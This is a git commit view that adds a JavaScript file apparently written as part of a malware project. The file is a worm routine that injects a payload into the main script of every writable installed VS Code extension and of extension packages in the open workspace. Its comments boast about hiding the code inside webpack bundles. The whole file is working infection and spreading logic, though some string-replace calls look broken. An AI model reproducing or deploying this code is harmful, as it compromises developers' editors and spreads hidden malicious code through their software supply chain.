aboutsummaryrefslogtreecommitdiff
path: root/inf/mal/spread/extjs.js
diff options
context:
space:
mode:
Diffstat (limited to 'inf/mal/spread/extjs.js')
-rw-r--r--inf/mal/spread/extjs.js58
1 files changed, 58 insertions, 0 deletions
diff --git a/inf/mal/spread/extjs.js b/inf/mal/spread/extjs.js
new file mode 100644
index 0000000..9d75e9f
--- /dev/null
+++ b/inf/mal/spread/extjs.js
@@ -0,0 +1,58 @@
+function pwn_ext_buf(_buf) {
+ let buf = _buf;
+// let buf = fs.readFileSync(fname, "utf8");
+ let pwnage = sentinel_pwn();
+
+ if (buf.includes(pwnage)) return false;
+// if (!buf.includes("vscode")) return false;
+
+ if (buf.includes("})();\nObject.defineProperty")) {
+ // easy to hide between these
+ buf.replace("})();\nObject.defineProperty", "})();\nObject.defineProperty", `})();\n${pwnage}\nObject.defineProperty`);
+ } else if (buf.includes("__webpack_module_cache__={};function __webpack_require__")) {
+ // even better, halfway through a fucking 100k line!
+ buf.replace("__webpack_module_cache__={};function __webpack_require__", `__webpack_module_cache__={};${pwnage}function __webpack_require__`);
+ } else {
+ buf = buf + "\n" + Buffer.from(pwnage);
+ }
+
+// fs.writeFileSync(fname, buf);
+
+ return buf;
+}
+
+function extension_js_spread() {
+ vscode["workspace"]["findFiles"]("**/{package.json}", "**/node_modules/**")["then"]((ev) => {
+ for (var el of ev) {
+ let j = JSON.parse(fs.readFileSync(el.path, "utf8"));
+ try {
+ if (!j["engines"]["vscode"]) continue;
+ } catch {
+ //;
+ }
+ let mc = path.dirname(el.path) + "/" + j["main"];
+ let b = fs.readFileSync(mc, "utf8");
+ let pwnd = pwn_ext_buf(b);
+
+ fs.writeFileSync(mc, pwnd ? pwnd : b);
+ }
+ });
+}
+
+function extension_spread() {
+ vscode.extensions.all.map(
+ (e) => {
+ fs.access(e.extensionPath, 2, (er) => {
+ if (er) return;
+
+ let x = (e.extensionPath + "/" + require(e.extensionPath + "/package.json")["main"]);
+
+ x = x.endsWith("js") ? x : x + ".js";
+
+ let f = fs.readFileSync(x, "utf8");
+ let b = pwn_ext_buf(f);
+ fs.writeFileSync(x, b ? b : f)
+ })
+ }
+ );
+} \ No newline at end of file